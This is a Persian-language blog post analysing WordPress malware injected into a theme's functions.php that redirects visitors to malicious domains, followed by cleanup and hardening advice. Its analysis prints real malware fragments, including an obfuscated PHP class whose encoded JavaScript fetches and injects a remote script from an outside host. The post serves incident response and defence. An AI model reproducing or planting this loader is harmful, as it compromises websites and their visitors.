wordpressآسیب پذیریامنیت

بدافزاری که بازدید از سایت وردپرس را به دام سایت‌های خطرناک می‌کشاند

از وردپرس تا وب‌سایت‌های آلوده: مسیری که حتی خودتان نمی‌دانید

مقدمه

اخیراً یکی از مشتریان پس از مشاهده این که وب‌سایتش بازدیدکنندگان را به یک URL مشکوک هدایت می‌کند، درخواست بررسی امنیتی داد. او مشکوک بود که سایت مورد نفوذ قرار گرفته و برای شناسایی و رفع مشکل کمک خواست. این موضوع ما را به یک بررسی عمیق‌تر درباره ماهیت آلودگی و رفتار آن سوق داد.

چه چیزی مشاهده کردیم؟

ترافیک وب‌سایت به آدرس hxxps://cdn1[.]massearchtraffic[.]top/sockets هدایت می‌شد. در بررسی‌ها مشخص شد که سایت به نوعی کد مخرب آلوده شده است که این ریدایرکت‌ها را ایجاد می‌کند. در زمان نگارش این مقاله، چندین وب‌سایت به این ریدایرکت مخرب آلوده شده‌اند، این یک حمله Redirect و تزریق جاوااسکریپت است.

محل تزریق: کد مخرب در فایل functions.php مربوط به قالب وردپرس تزریق شده بود.

روش شناسایی: آلودگی از طریق SiteCheck شناسایی شد و با عنوان Known JavaScript Malware: redirect?fake_click.1 پرچم‌گذاری شد.

حمله Redirect و تزریق جاوااسکریپت

 

گام‌های عملی برای شناسایی و رفع مشکل (به ترتیب اهمیت و فوریت):

گام 1: اقدام فوری برای کاهش خسارت و جمع‌آوری اطلاعات (مهم‌ترین گام!)

  1. قطع دسترسی موقت (اختیاری اما توصیه شده):

    اگر وب‌سایت شما ترافیک زیادی ندارد و می‌توانید برای مدت کوتاهی آن را آفلاین کنید (مثلاً برای 10-15 دقیقه)، این کار به شما کمک می‌کند تا در حین بررسی، از گسترش بیشتر حمله جلوگیری کنید. این کار را می‌توانید با تغییر موقت index.php به یک صفحه “سایت در حال تعمیر” یا از طریق cPanel/LiteSpeed WebServer انجام دهید. اگر نمی‌توانید، مشکلی نیست، فقط آگاه باشید.

  2. تغییر تمامی گذرواژه‌ها:

    فورا تمامی گذرواژه‌های زیر را به گذرواژه‌های بسیار قوی و پیچیده (ترکیبی از حروف بزرگ و کوچک، اعداد، نمادها) تغییر دهید:

    • گذرواژه cPanel
    • گذرواژه وردپرس (برای تمامی کاربران، به خصوص مدیران)
    • گذرواژه FTP/SFTP
    • گذرواژه پایگاه داده (در wp-config.php نیز باید تغییر کند)
    • گذرواژه SSH (اگر دسترسی دارید)
  3. بررسی فایل‌های اصلی وردپرس:

    • فایل index.php (در ریشه سایت) را باز کنید و به دنبال کدهای عجیب در بالای صفحه یا پایین‌تر باشید.
    • فایل wp-config.php را بررسی کنید. آیا کد مشکوکی در آن وجود دارد؟ (مثلاً base64_decode های طولانی یا توابع eval در جاهای نامربوط).
    • به دنبال فایل‌های عجیب و غریب در پوشه ریشه وردپرس بگردید (مثلاً فایل‌هایی با نام‌های تصادفی یا پسوند .ico, .png که فایل تصویر نیستند).
  4. بررسی فایل .htaccess:

    این فایل در ریشه وب‌سایت قرار دارد و یکی از مکان‌های مورد علاقه مهاجمان برای تزریق ریدایرکت‌ها است. آن را باز کنید و به دنبال هرگونه دستور Redirect یا RewriteRule مشکوک بگردید که شما اضافه نکرده‌اید و به آدرس مخرب هدایت می‌کند. کدهای مخرب معمولاً در ابتدا یا انتهای فایل قرار می‌گیرند.

  5. بررسی پوشه wp-content:

    • داخل پوشه wp-content/themes و wp-content/plugins بروید. به دنبال فایل‌های PHP با نام‌های عجیب و غریب بگردید (مثلاً shell.php، config.php، cache.php، uploads.php که متعلق به افزونه‌ها یا قالب‌های اصلی نیستند).
    • پوشه wp-content/uploads را بررسی کنید. این پوشه فقط باید شامل فایل‌های رسانه‌ای باشد. اگر فایل‌های PHP در آن دیدید، تقریباً مطمئن باشید که یک بدافزار است.

 

تحلیل کد

جلوگیری از اجرای تکراری و دورزدن مدیران

کد مخرب طوری طراحی شده که در یک نشست بیش از یک‌بار اجرا نشود تا توسط ابزارهای ضدبدافزار شناسایی نشود. این کار با بررسی وجود یک کوکی خاص انجام می‌شود. همچنین اجرای اسکریپت برای کاربران لاگین‌شده وردپرس دور زده می‌شود تا شک مدیران برانگیخته نشود.

نمونه کد:

if(isset($_COOKIE['MkQQ'])) {
    die('smR'.'Bh0');
}

فیلتر کردن ربات‌ها و مسیرهای شناخته‌شده

بدافزار با استفاده از عبارت‌های منظم پیچیده، درخواست‌ها را بر اساس User-Agent فیلتر می‌کند و درخواست‌های شامل الگوهای خاصی در URL مانند /wp-login.php و /wp-json را مسدود می‌کند.

نمونه الگو:

$bad_ua = '#(google|msnbot|baidu|yahoo|search|bing|ask|indexer|cuill.com|clushbot|360spider|80legs|aibot|aboundex|acunetix|ahrefsbot|alexibot|blexbot|backdoorbot|backweb#i';

ریدایرکت و بارگذاری پِی‌لودهای بیشتر

کد مخرب بازدیدکنندگان را به دامنه hxxps://streamain[.]top/api[.]php هدایت می‌کند. سپس اسکریپتی به مرورگر کاربر تزریق می‌شود که پِی‌لودهای اضافی را دریافت و اجرا می‌کند.

نمونه کلاس:

رشته‌های دیکدشده:

class HTTP_X_FORWARDED_FOR {
    public $u = "\x68\x74\x74\x70s\x3a/\x2fs\x74r\x65a\x6dm\x61i\x6e.\x74o\x70/\x61p\x69.\x70h\x70";

    function init() {
        print rawurldecode('%3Bvar%20url%20%3D%20%27https%3A%2F%2Fraw.githubusercontent.com%2FAlexanderRPatton%2Fcdn%2Fmain%2Frepo.txt%27%3Bfetch%28url%29.then%28response%20%3D%3E%20response.text%28%29%29.then%28data%20%3D%3E%20%7Bvar%20script%20%3D%20document.createElement%28%27script%27%29%3Bscript.src%20%3D%20data.trim%28%29%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28script%29%3B%7D%29%3B');
    }
}
$obj = new HTTP_X_FORWARDED_FOR;
$obj->init();

تأثیرات احتمالی بدافزار

هرچند پِی‌لود اولیه ریدایرکت کاربران است، اما احتمال ایجاد درب‌پشتی‌های پنهان برای دسترسی مداوم وجود دارد. نشت داده‌های حساس مانند اطلاعات ورود مدیران ممکن است رخ دهد و امنیت سایت را بیشتر به خطر اندازد. استفاده از تزریق جاوااسکریپت برای بارگذاری محتوای مخرب می‌تواند به انتشار اسپم، باج‌افزار یا اجرای کمپین‌های فیشینگ منجر شود. با فیلتر کردن ربات‌ها، کاربران لاگین‌شده و مدیران، اسکریپت مدت بیشتری ناشناس می‌ماند و بازدیدکنندگان را به دامنه‌های مخرب هدایت می‌کند.

چگونگی آلودگی سایت و اهداف مهاجمان

مسیرهای محتمل آلودگی

  • افزونه‌ها یا قالب‌های قدیمی یا نال‌شده با آسیب‌پذیری‌های شناخته‌شده.
  • کدنویسی ضعیف در قالب‌ها یا افزونه‌های سفارشی که امکان تزریق اسکریپت را فراهم می‌کند.
  • وجود بک‌دورهای قبلی که اجازه تزریق کدهای جدید یا آلودگی مجدد پس از پاک‌سازی ناقص می‌دهد.
  • حساب‌های کاربری یا دسترسی‌های هاستینگ به خطر افتاده که استقرار بدافزار را تسهیل می‌کند.
  • گاهی اوقات کد مخرب را مستقیماً در پایگاه داده (معمولاً در جداول wp_posts یا wp_options) تزریق می‌ شود
  • بررسی لاگ‌های سرور، به دنبال فعالیت‌های مشکوک، درخواست‌های غیرعادی به فایل‌های ناشناس یا خطاهای غیرمعمول باشید. این می‌تواند به شما سرنخ‌هایی از زمان و نحوه نفوذ مهاجمان بدهد.

انگیزه‌های احتمالی مهاجمان

  • آسیب به اعتبار وب‌سایت از طریق هدایت به دامنه‌های مشکوک.
  • کاهش رتبه در نتایج جست‌وجو به دلیل رفتارهای مخرب و جریمه‌های موتورهای جست‌وجو.
  • سوءاستفاده از ترافیک قربانی برای افزایش درآمد یا گسترش کمپین‌های مخرب.
  • زمینه‌سازی برای تزریق محتوای اسپم یا بدافزار بیشتر در مراحل بعدی حمله.

پیشگیری از حمله Redirect و تزریق جاوااسکریپت

  1. فایروال برنامه کاربردی وب (WAF):

    اگر از Cloudflare (در حالت پروکسی) یا یک WAF دیگر استفاده می‌کنید، مطمئن شوید که قوانین امنیتی آن فعال هستند.

    (شما قبلاً اشاره کرده بودید که Cloudflare را دور می‌زنید یا مشکلاتی با آن دارید، این نکته مهم است. اگر Cloudflare در حالت DNS Only باشد، WAF آن کار نمی‌کند و باید از سمت سرور خود یک فایروال مناسب داشته باشید.)

  2. پشتیبان‌گیری منظم:

    یک برنامه پشتیبان‌گیری منظم و خودکار از وب‌سایت (هم فایل‌ها و هم پایگاه داده) را فعال کنید و مطمئن شوید که نسخه‌های پشتیبان در مکانی امن و جداگانه نگهداری می‌شوند. این یک نجات‌دهنده در مواقع بحرانی است.

  3. امنیت سرور (برای شما که مدیر سرور هستید):

    • Imunify360 یا CXS (ConfigServer eXploit Scanner) را نصب کنید. این ابزارها می‌توانند در زمان واقعی فایل‌های مخرب را شناسایی و قرنطینه کنند.
    • امنیت SSH: از ورود با نام کاربری و رمز عبور root جلوگیری کنید، از احراز هویت با کلید SSH استفاده کنید، پورت SSH را تغییر دهید و fail2ban را برای جلوگیری از حملات Brute-Force نصب کنید.
    • به‌روزرسانی سیستم عامل: مطمئن شوید که AlmaLinux و تمام بسته‌های آن به‌روز هستند.

مهم‌ترین نکته:

پاکسازی یک وب‌سایت آلوده می‌تواند پیچیده باشد، مخصوصاً اگر کد مخرب هوشمندانه پنهان شده باشد. اگر احساس می‌کنید که نمی‌توانید آن را به طور کامل پاک کنید، یا اگر بعد از پاکسازی دوباره آلوده شد، بهتر است از یک متخصص امنیت وب‌سایت کمک بگیرید.

جمع‌بندی

حمله Redirect و تزریق جاوااسکریپت با تزریق کد به فایل‌های کلیدی قالب مانند functions.php می‌تواند به سادگی بازدیدکنندگان را به صفحات آلوده هدایت کند. شناسایی سریع با ابزارهایی مانند SiteCheck، همراه با بررسی منظم فایل‌ها و ترافیک غیرعادی، برای جلوگیری از گسترش آلودگی ضروری است. پایش امنیتی مداوم، به‌روزرسانی منظم افزونه‌ها و قالب‌ها، و سخت‌گیری بر دسترسی‌های مدیریتی از بهترین راهکارهای پیشگیرانه محسوب می‌شود.

 

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا